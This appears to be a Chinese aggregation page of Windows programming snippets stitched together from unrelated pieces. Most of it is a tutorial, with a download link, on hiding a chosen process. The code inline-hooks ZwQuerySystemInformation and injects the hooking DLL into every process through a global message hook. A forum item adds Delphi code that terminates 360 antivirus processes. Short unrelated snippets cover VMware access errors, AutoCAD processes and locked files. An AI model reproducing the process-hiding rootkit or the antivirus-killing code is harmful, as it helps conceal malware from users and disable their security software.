精华内容
下载资源
问答
  • 前面介绍了“进程伪装”、“傀儡进程”,今天介绍“进程隐藏”,这是实战中经常遇到的跟进程有关的技巧。实现进程隐藏的方法很多,这次介绍的是一种较为直接的隐藏方式,InlineHOOK。一、函数介绍NTSTATUS WINAPI ...

        前面介绍了“进程伪装”、“傀儡进程”,今天介绍“进程隐藏”,这是实战中经常遇到的跟进程有关的技巧。实现进程隐藏的方法很多,这次介绍的是一种较为直接的隐藏方式,InlineHOOK

    一、函数介绍

    1. NTSTATUS WINAPI ZwQuerySystemInformation(  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,  _Inout_   PVOID                    SystemInformation,  _In_      ULONG                    SystemInformationLength,  _Out_opt_ PULONG                   ReturnLength );

    参数

    • SystemInformationClass [in]
      要检索的系统信息的类型。该参数可以是SYSTEM_INFORMATION_CLASS枚举类型中的以下值之一,其等于5相当于进程信息;

    • SystemInformation[in,out]
      指向缓冲区的指针,用于接收请求的信息。该信息的大小和结构取决于SystemInformationClass参数的值,如下表所示;

    • SystemInformationLength [in]
      SystemInformation参数指向的缓冲区的大小(以字节为单位);

    • ReturnLength [out]

      一个可选的指针,指向函数写入所请求信息的实际大小的位置。如果该大小小于或等于SystemInformationLength参数,则该函数将该信息复制到SystemInformation缓冲区中; 否则返回一个NTSTATUS错误代码,并以ReturnLength返回接收所请求信息所需的缓冲区大小。

    返回值

    • 返回NTSTATUS成功或错误代码。

    • NTSTATUS错误代码的形式和意义在DDK中提供的Ntstatus.h头文件中列出,并在DDK文档中进行了说明。

    注意

    • ZwQuerySystemInformation函数及其返回的结构在操作系统内部,并可能从一个版本的Windows更改为另一个版本。为了保持应用程序的兼容性,最好使用前面提到的替代功能。

    • 如果您使用ZwQuerySystemInformation,请通过运行时动态链接访问该函数。如果功能已被更改或从操作系统中删除,这将使您的代码有机会正常响应。但签名变更可能无法检测。

    • 此功能没有关联的导入库。您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。

    二、实现原理

        首先,先来讲解下为什么 HOOK ZwQuerySystemInformation 函数就可以实现指定进程隐藏。是因为我们遍历进程通常是调用系统WIN32 API函数EnumProcess 、CreateToolhelp32Snapshot等函数来实现,这些WIN32 API它们内部最终是通过调用 ZwQuerySystemInformation这个函数实现的获取进程列表信息。所以,我们只要HOOK ZwQuerySystemInformation函数,对它获取的进程列表信息进行修改,把有我们要隐藏的进程信息从中去掉,那么 ZwQuerySystemInformation 就返回了我们修改后的信息,其它程序获取这个被修的信息后,自然获取不到我们隐藏的进程,这样,指定进程就被隐藏起来了。

    其中,我们将HOOK ZwQuerySystemInformation 函数的代码部分写在 DLL 工程中,原因是我们要实现的是隐藏指定进程,而不是单单在自己的进程内隐藏指定进程。写成 DLL 文件,可以方便我们将 DLL 文件注入到其它进程的空间,从而 HOOK 其它进程空间中的 ZwQuerySystemInformation 函数,这样,就实现了在其它进程空间中也看不到指定进程了。

    我们选取 DLL 注入的方法是设置全局钩子,这样就可以快速简单地将指定 DLL 注入到所有的进程空间里了。

    其中,HOOK API 使用的是自己写的 Inline Hook,即在 32 位程序下修改函数入口前 5 个字节,跳转到我们的新的替代函数;对于 64 位程序,修改函数入口前 12 字节,跳转到我们的新的替代函数。

    三、流程

        首先,获取API函数的地址。可以从进程中获取HOOK API对应的模块基址,这样,就可以通过GetProcAddress函数获取API函数在进程中的地址。

        然后,根据32位和64位版本,计算需要修改HOOK API函数的前几字节数据。若是32位系统,则需要计算跳转偏移,并修改函数的前5个字节数据;若是64位系统,则需要修改函数的前12字节数据。

        接着,修改API函数的前几个字节数据的页面保护属性,更改为RWX,这样是为了确保修改后内存能够执行。

        最后,为了能够还原操作,要在修改数据前先对数据进行备份,然后再修改数据,并还原页面保护属性。

    四、代码

    1、HOOK ZwQuerySystemInformation

    1. void HookApi()

    2. {

    3. // 获取 ntdll.dll 的加载基址, 若没有则返回

    4. HMODULE hDll = ::GetModuleHandle("ntdll.dll");

    5.    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

    6.    // 32 位下修改前 5 字节, 64 位下修改前 12 字节

    7. #ifndef _WIN64

    8. // jmp New_ZwQuerySystemInformation

    9. // 机器码位:e9 _dwOffset(跳转偏移)

    10. // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值

    11. // addr2 --> 跳转地址的值,即_dwNewAddress的值

    12. // 跳转偏移 _dwOffset = addr2 - addr1

    13. BYTE pData[5] = { 0xe9, 0, 0, 0, 0};

    14. DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;

    15. ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));

    16. // 保存前 5 字节数据

    17. ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));

    18. #else

    19. // mov rax,0x1122334455667788

    20. // jmp rax

    21. // 机器码是:

    22. // 48 b8 8877665544332211

    23. // ff e0

    24. BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};

    25. ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;

    26. ::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));

    27. // 保存前 12 字节数据

    28. ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));

    29. #endif

    30. // 设置页面的保护属性为 可读、可写、可执行

    31. DWORD dwOldProtect = 0;

    32. ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);

    33. // 修改

    34. ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));

    35. // 还原页面保护属性

    36. ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);

    37. }

    2、New_ZwQuerySystemInformation 

        首先,使用UnHookApi防止因多次同时访问HOOK函数而造成数据混乱,导致数据修改失败。同一时间,应该只有一个线程访问HOOK函数。

        然后,通过GetProcAddress函数从ntdll.dll中获取ZwQuerySystemInfomation函数地址并调用执行,检索并获取系统信息。

        接着判断检索消息类型是否是进程信息,若是则遍历检索结果,从中剔除隐藏进程的消息。

        最后,数据修改完毕后,继续执行HOOK操作,并返回结果。

    1. NTSTATUS New_ZwQuerySystemInformation(

    2. SYSTEM_INFORMATION_CLASS SystemInformationClass,

    3. PVOID SystemInformation,

    4. ULONG SystemInformationLength,

    5. PULONG ReturnLength

    6. )

    7. {

    8. NTSTATUS status = 0;

    9. PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;

    10. // 要隐藏的进程PID

    11. DWORD dwHideProcessId = 13928;

    12. // UNHOOK API

    13. UnhookApi();

    14. // 获取 ntdll.dll 的加载基址, 若没有则返回

    15. HMODULE hDll = ::GetModuleHandle("ntdll.dll");

    16.    // 获取 ZwQuerySystemInformation 函数地址

    17. typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");

    18. // 调用原函数 ZwQuerySystemInformation

    19. status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);

    1. if (NT_SUCCESS(status) && 5 == SystemInformationClass)

    2. {

    3. pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

    4. while (TRUE)

    5. {

    6. // 判断是否是要隐藏的进程PID

    7. if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)

    8. {

    9. if (0 == pCur->NextEntryOffset)

    10. {

    11.                                  //当我们需要隐藏的进程是最后一个数据时//就将上一个数据结构的NextEntryOffset置0//这时系统在遍历我们进程时就不会发现了
    12. pPrev->NextEntryOffset = 0;

    13.                }

    14. else

    15. {

    16.                                //当我们需要隐藏的进程 后面还有进程时//越过要隐藏的进程让 NextEntryOffset //指向下一个数据块
    17. pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;

    18.                 }

    19. }

    20. else

    21. { pPrev = pCur; }

    22. if (0 == pCur->NextEntryOffset)

    23. {

    24. break;

    25.            }

    26. pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);

    27. }

    28. }

    29. // HOOK API

    30. HookApi();

    31. return status;

    32. }

    3、设置全局消息钩子注入DLL

    1. int _tmain(int argc, _TCHAR* argv[])

    2. {

    3. // 加载DLL并获取句柄

    4. HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll");

    5. printf("Load Library OK.\n");

    6. // 设置全局钩子

    7. g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0);

    8. printf("Set Windows Hook OK.\n");

    9. system("pause");

    10. // 卸载全局钩子

    11. UnhookWindowsHookEx(g_hHook);

    12. printf("Unhook Windows Hook OK.\n");

    13. // 卸载DLL

    14. ::FreeLibrary(hDll);

    15. system("pause");

    16. return 0;

    17. }

        以上的HOOK函数均写在DLL中,写在其中可以方便将DLL注入到其他进程空间,从而隐藏其他进程空间中的ZwQuerySystemInfomation函数,而不单单在自己的进程空间内隐藏指定进程。

    4、HideProcess_ZwQuerySystemInformation_Test : 定义DLL应用程序的导出函数

        对于钩子函数来说,要求DLL的数据段对所有的进程也必须相同。这样您就必须把数据段设成共享的,这可以通过在链接开关中指定段的属性来实现。#pragma   data_seg("Shared")HINSTANCE g_hInstance = NULL;HHOOK       g_hHook = NULL;HWND         g_hWnd = NULL;#pragma   data_seg()#pragma   comment(linker,"/SECTION:Shared,RWS")  

    Shared代表该段是共享段。

    // 消息全局钩子回调函数

    LRESULT CALLBACK GetMsgProc(

    int code,       // hook code

    WPARAM wParam,  // removal option  

    LPARAM lParam   // message

    )

    {

    // 不进行任何操作,设置全局钩子的目的就是进行DLL注入而已,主要是主入口进行的API挂钩

    return ::CallNextHookEx(g_hHook, code, wParam, lParam);

    }

    // 设置全局钩子

    HHOOK SetHook()

    {

    HHOOK hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hModule, 0);

    g_hHook = hHook;

    return hHook;

    }

    // 卸载全局钩子

    BOOL UnsetHook(HHOOK hHook)

    {

    UnhookWindowsHookEx(hHook);

    return TRUE;

    }

    5、结构体

    在源码中有“if(NT_SUCCESS(status)&&5==SystemInformationClass)”,这里的SystemInformationClass是什么?

    508d50e1-ea18-eb11-8da9-e4434bdf6706.png

    定义是进程信息为5;

    五、程序测试

        我们运行将要隐藏进程的程序DisplaySample.exe,然后打开任务管理器,可以查看到它是处于可见状态。接着,以管理员权限运行我们的程序,设置全局消息钩子,将 DLL 注入到所有的进程中,DLL便在DllMain入口点函数处HOOK ZwQuerySystemInformation函数,成功隐藏DisplaySample.exe的进程。

    568d50e1-ea18-eb11-8da9-e4434bdf6706.png

    这是我们要测试隐藏的进程,PID=13928

    运行程序,

    588d50e1-ea18-eb11-8da9-e4434bdf6706.png

    再查看任务管理器,

    5b8d50e1-ea18-eb11-8da9-e4434bdf6706.png

    对比上图,发现DisplaySample.exe不见了;

    换种方式再测试下,让DisplaySample.exe放于cmd下运行,

    638d50e1-ea18-eb11-8da9-e4434bdf6706.png

    呈现出这样的隶属关系,再运行隐藏程序,

    678d50e1-ea18-eb11-8da9-e4434bdf6706.png

    发现没有了,这样的隶属关系看得更清楚;

    六、验证

    6a8d50e1-ea18-eb11-8da9-e4434bdf6706.png

     因为通过“HideProcess_ZwQuerySystemInformation_Test.dll”来HOOK ZwQuerySystemInformation,所以查找这个Dll文件,发现所有调用ZwQuerySystemInformation都被指向了这个Dll文件。

        好的,先到此吧。关于深层次的验证,我也有点没搞透,这个问题将持续研究中。

    下载地址:

    链接:https://pan.baidu.com/s/1RVVMNKcBHBbEVZNYaRZsuA 

    提取码:tljs 

    6d8d50e1-ea18-eb11-8da9-e4434bdf6706.jpeg

    展开全文
  • 现象:VMware安装或运行时,双击打开无反应,以管理员...在任务管理器中结束“CameraFixer MFC Application”,该程序会劫持VM开头的.exe文件,结束进程不会对摄像头使用有影响 最后卸载相关驱动或禁止该启动项

    现象:VMware安装或运行时,双击打开无反应,以管理员身份运行出现“Windows无法访问指定设备、路径或文件。你可能没有适当的权限访问该项目。”警告


    解决:

    在任务管理器中结束“CameraFixer MFC Application”,该程序会劫持VM开头的.exe文件,结束该进程不会对摄像头使用有影响

    最后卸载相关驱动或禁止该启动项


    展开全文
  • 结束autocad异常进程

    2019-10-03 10:03:18
    近日在做CAD自动化数据处理,程序在...通过CMD命令“@taskkill /f /IM acad.exe”结束“acad.exe”进程提示“进程拒绝访问”,造成这种错误原因是因为CAD程序运行异常触发了”Windows的错误报告”机制, 导致“ac...

    近日在做CAD自动化数据处理,程序在服务器上运行,运行时间长了会发生异常“autocad application 已停止工作”,这个时候需要通过守护程序去重启CAD,

    CAD异常终止

    通过CMD命令“@taskkill /f /IM acad.exe”结束“acad.exe”进程提示“进程拒绝访问”,造成这种错误原因是因为CAD程序运行异常触发了”Windows的错误报告”机制,

    windows错误报告

    导致“acad.exe”进程被“windows的错误报告”进程“WerFault.exe”占用,所以必须先结束“WerFault.exe”,才能结束“acad.exe”

    按顺序执行命令:

    @taskkill /f /IM WerFault.exe
    @taskkill /f /IM acad.exe

    顺便还说一下,CAD的另一种错误,这个时候会弹出发送错误报告的窗体,这个窗体不属于“acad.exe”主进程,但是不影响cad的启动和结束

    致命错误

    关闭错误报告窗体的命令:

    @taskkill /f /IM senddmp.exe

     

    转载于:https://www.cnblogs.com/he-xiang/p/8709752.html

    展开全文
  • 比如说让程序结束进程中360sd.exe 获取权限,否则会拒绝访问, 要怎么写? 补充: 这段代码中……点击按钮后结束不了360进程! unit Unit1;interfaceusesWindows, Messages, SysUtils, Variants, ...

    比如说让程序结束进程中360sd.exe

    获取权限,否则会拒绝访问,

    要怎么写?

     
    补充:

     

    这段代码中……点击按钮后结束不了360进程!

     

    unit Unit1;
    interface
    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls,TlHelp32;
    type
    TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;
    var
    Form1: TForm1;
    function ZwDuplicateObject( SourceProcessHandle,SourceHandle ,TargetProcessHandle ,TargetHandle,DesiredAccess ,HandleAttributes,Options: LongInt): LongInt stdcall; external 'NTDLL.DLL' name 'ZwDuplicateObject';
    implementation
    {$R *.dfm}
    procedure Kill360();
    const
    Safepro:array[1..4] of PChar =('safeboxTray.exe','360Safe.exe','360safebox.exe','360tray.exe');
    var
    ContinueLoop : BOOL;
    FSnapshotHandle : THandle;
    pe : PROCESSENTRY32;
    ProcessHandle: Longint;
    begin
    FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    pe.dwSize:=SizeOf(PROCESSENTRY32);
    if (Process32First(FSnapshotHandle,pe)) then
    begin
    while (Process32Next(FSnapshotHandle,pe)) do
    begin
    if (UpperCase(ExtractFileName(pe.szExeFile))=UpperCase(Safepro[1])) or (UpperCase(ExtractFileName(pe.szExeFile))=UpperCase(Safepro[2])) or (UpperCase(ExtractFileName(pe.szExeFile))=UpperCase(Safepro[3])) or (UpperCase(ExtractFileName(pe.szExeFile))=UpperCase(Safepro[4])) then
    begin
    ProcessHandle:=OpenProcess($400, False,pe.th32ProcessID);
    ZwDuplicateObject(-1, ProcessHandle, -1, Integer(@ProcessHandle), $1F0FFF, 0, 1);
    TerminateProcess(ProcessHandle,0);
    end;
    end;
    end;
    CloseHandle(FSnapshotHandle);
    End;
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    Kill360();
    end;
    end.

    补充:

     

    还有这个`不知道哪个能用的~

     

    unit Tlhelp323;

    interface

    uses
    Windows,SysUtils,Tlhelp32;

    function KillTask(ExeFileName: string): Integer; //关闭进程
    function EnableDebugPrivilege: Boolean; //提升权限 
    function FindProcessId(ExeFileName: string):THandle; //查找进程

    implementation

    function FindProcessId(ExeFileName: string):THandle;
    var
    ContinueLoop:BOOL;
    FSnapshotHandle:THandle;
    FProcessEntry32:TProcessEntry32;
    begin
    result:=0;
    FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
    ContinueLoop:=Process32First(FSnapshotHandle,FProcessEntry32);
    while integer(ContinueLoop)<>0 do
    begin
    if UpperCase(FProcessEntry32.szExeFile)=UpperCase(ExeFileName) then
    begin
    result:=FProcessEntry32.th32ProcessID;
    break;
    end;
    ContinueLoop:=Process32Next(FSnapshotHandle,FProcessEntry32);
    end;
    CloseHandle (FSnapshotHandle);
    end;

    function KillTask(ExeFileName: string): Integer;
    const
    PROCESS_TERMINATE = $0001;
    var
    ContinueLoop: boolean;
    FSnapshotHandle: THandle;
    FProcessEntry32: TProcessEntry32;
    begin
    Result := 0;
    FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
    ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

    while Integer(ContinueLoop) <> 0 do
    begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
    UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
    UpperCase(ExeFileName))) then
    Result := Integer(TerminateProcess(
    OpenProcess(PROCESS_TERMINATE,
    BOOL(0),
    FProcessEntry32.th32ProcessID),
    0));
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
    end;
    CloseHandle(FSnapshotHandle);
    end;

    //但是对于服务程序,它会提示"拒绝访问".其实只要程序拥有Debug权限即可:
    function EnableDebugPrivilege: Boolean;
    function EnablePrivilege(hToken: Cardinal; PrivName: string; bEnable: Boolean): Boolean;
    var
    TP: TOKEN_PRIVILEGES;
    Dummy: Cardinal;
    begin
    TP.PrivilegeCount := 1;
    LookupPrivilegeValue(nil, pchar(PrivName), TP.Privileges[0].Luid);
    if bEnable then
    TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
    else TP.Privileges[0].Attributes := 0;
    AdjustTokenPrivileges(hToken, False, TP, SizeOf(TP), nil, Dummy);Result := GetLastError = ERROR_SUCCESS;
    end;
    var
    hToken: Cardinal;
    begin
    OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken);
    result:=EnablePrivilege(hToken, 'SeDebugPrivilege', True);
    CloseHandle(hToken);
    end;

    end.

    转载于:https://www.cnblogs.com/MaxWoods/p/4136268.html

    展开全文
  • 一、常规解决办法: 1.注消或重启电脑,然后再试着删除。 2.进入“安全模式删除”。 3....在任务管理器中结束Explorer.exe进程,然后在命令提示符窗口删除文件。 6.如果你有安装ACDSee,FlashF
  • Jnc Process master 1.2功能: 1.ta可以结束进程,并且能够强力结束... [3.ta可以保护进程,XP下完美保护进程,Xuetr显示应用层拒绝访问,任务管理器也拿进程没办法,Windows7下的进程保护也蛮强的哦! 4.ta可以挂起进程,并
  • 在大多数系统中进程都可以并发的执行,并且他们可以动态地创建和结束。因此,这些系统必须提供进程创建和结束的机制。...大多数的操作系统(包括UNIX,Linux和Windows)根据独一无二的进程标识符process identifil...
  • 任务栏管理器无法结束任务 ...解决结束任务无法结束拒绝访问。 2、使用pchunter1.57加载驱动失败,宣告pchunter方式失败(windows7的朋友可以试试,有可能可以用此方法) 3、使用管理员权限运行cmd,然后t
  • 一、文件正在使用,文件已在另一程序中打开 图1已经提示了文件具体在哪个程序打开,在任务管理器结束相应的进程就可以删除文件了。...二、文件访问拒绝,你需要权限来执行操作 解: 1.右键属性-安...
  •  0005 拒绝访问。  0006 句柄无效。  0007 存储区控制块已损坏。  0008 可用的存储区不足, 无法执行该命令。  0009 存储区控制块地址无效。  0010 环境错误。  0011 试图使用不正确的格式加载...
  • 按住ctrl+alt+delete,选择“任务管理器”,再打开“详细信息”,...“运行新任务”,输入cmd,将下面的“以系统管理权限创建此任务”勾选了(有的时候不选这个,删除文件时会被拒绝访问)。 输入del "C:\Prog...
  • 病毒名称:Hacktool 文件名:c:/winnt/system32/ntservice.exe 操作:删除失败,隔离失败,访问拒绝 1、 如何才能彻底 ...于是我运行Windows任务管理器,在进程选 项卡中选择结束ntservice.exe进程,结果系统显示
  • 成功卸载VMware

    2020-10-13 10:46:16
    Windows上拷贝文件到虚拟机上时,虚拟机卡死了,之后关闭暂停虚拟机都没有用,试了删除文件,还有重新开启其他虚拟机,都一直保持卡死状态,卸载也卸载不掉,提示有虚拟机正在运行,去进程服务里根据pid结束服务又...
  • 2.出错后,服务就一直拒绝访问,错误日志也一直增加,等了很久都没有停下来,只有重启nginx才行,这种情况正常吗,感觉好像是nginx处理出现死循环了一样 另外我是在windows下跑的nginx 感谢所有回答我的朋友,...
  • 240.U盘引导系统后无法访问光驱 241.检测光驱时死机 242.不支持DMA导致系统不能启动 243.老光驱引起的系统启动慢 244.Windows 98安全模式下使用光驱 245.光驱读盘困难 246.光驱突然不能读盘 247.光驱激光头太脏 248....
  • 远程查看并结束员工机进程; 远程查看员工机安装的软件; 远程查看员工机实时系统信息; 远程手动关闭、重新启动员工机、局域网远程关机; 在指定时间员工机自动关机; 硬件资产监控,监控并自动记录员工机硬件的...
  • Windows Server 2008 用户访问控制和管理员会话 144 将智能卡用于 Citrix XenApp 145 智能卡要求 145 配置服务器 146 为智能卡设置 Windows 策略 146 配置客户端 146 记录对 XenApp 场的管理更改 147 启用“配置...
  • kill -F 进程名 加-F参数后强制结束进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、...
  • asp.net知识库

    2015-06-18 08:45:45
    在ASP.NET中使用WINDOWS验证方式连接SQL SERVER数据库 改进ADO.Net数据库访问方式 ASP.NET 2.0 绑定高级技巧 简单实用的DataSet更新数据库的类+总结 [ADO.NET]由数据库触发器引发的问题 为ASP.NET封装的SQL数据库...
  • CISCO 技术大集合

    2013-05-22 01:07:13
    启动登录进程 login [local|tacacs server] 设置登录密码 password password   五、配置IP寻址   1. IP地址分类 IP地址分为网络地址和主机地址二个部分,A类地址前8位为网络地址,后24位为主机地址,B类地址16...
  • Windows XP(包括 Windows 2000)的控制台命令是在系统出现一些意外情况下的一种非常有效的诊断和测试以及恢复系统功能的工具。小编的确一直都想把这方面的命令做个总结,这次辛苦老范给我们整理了这份实用的秘笈。 ...
  • 12.4.5 在分区带显示的数据访问页中查看数据层次 383 12.4.6 使用组筛选控件的组合框 383 12.5 查找其他资源 385 12.6 小 结 385 第三部分 利用互操作性来扩展Access 387 第13章 用自动化功能和DDE驱动...
  • X-Scan v3.1

    2018-10-22 08:43:03
    支持插件功能,提供了图形界面和命令行两种操作方式,扫描内容包括:远程服务类型、操作系统类型及版本,各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞等二十几个大类。对于多数已知漏洞,我们给...
  • 5.2.3 在索引创建过程中允许用户表访问 176 5.3 索引选项 177 5.3.1 使用索引INCLUDE 177 5.3.2 使用PAD_INDEX和FILLFACTOR 178 5.3.3 禁用页和/或行索引锁定 178 5.4 管理超大型索引 179 5.4.1 在...
  • X-Scan

    千次下载 热门讨论 2008-04-04 15:19:43
    每扫描一个主机将启动一个CheckHost进程。 “显示详细进度” - 将在主界面普通信息栏中显示详细的扫描过程 “跳过没有响应的主机” - 如果X-Scan运行于NT4.0系统,只能通过ICMP Ping方式对目标主机进行检测...

空空如也

空空如也

1 2
收藏数 27
精华内容 10
关键字:

windows拒绝访问结束进程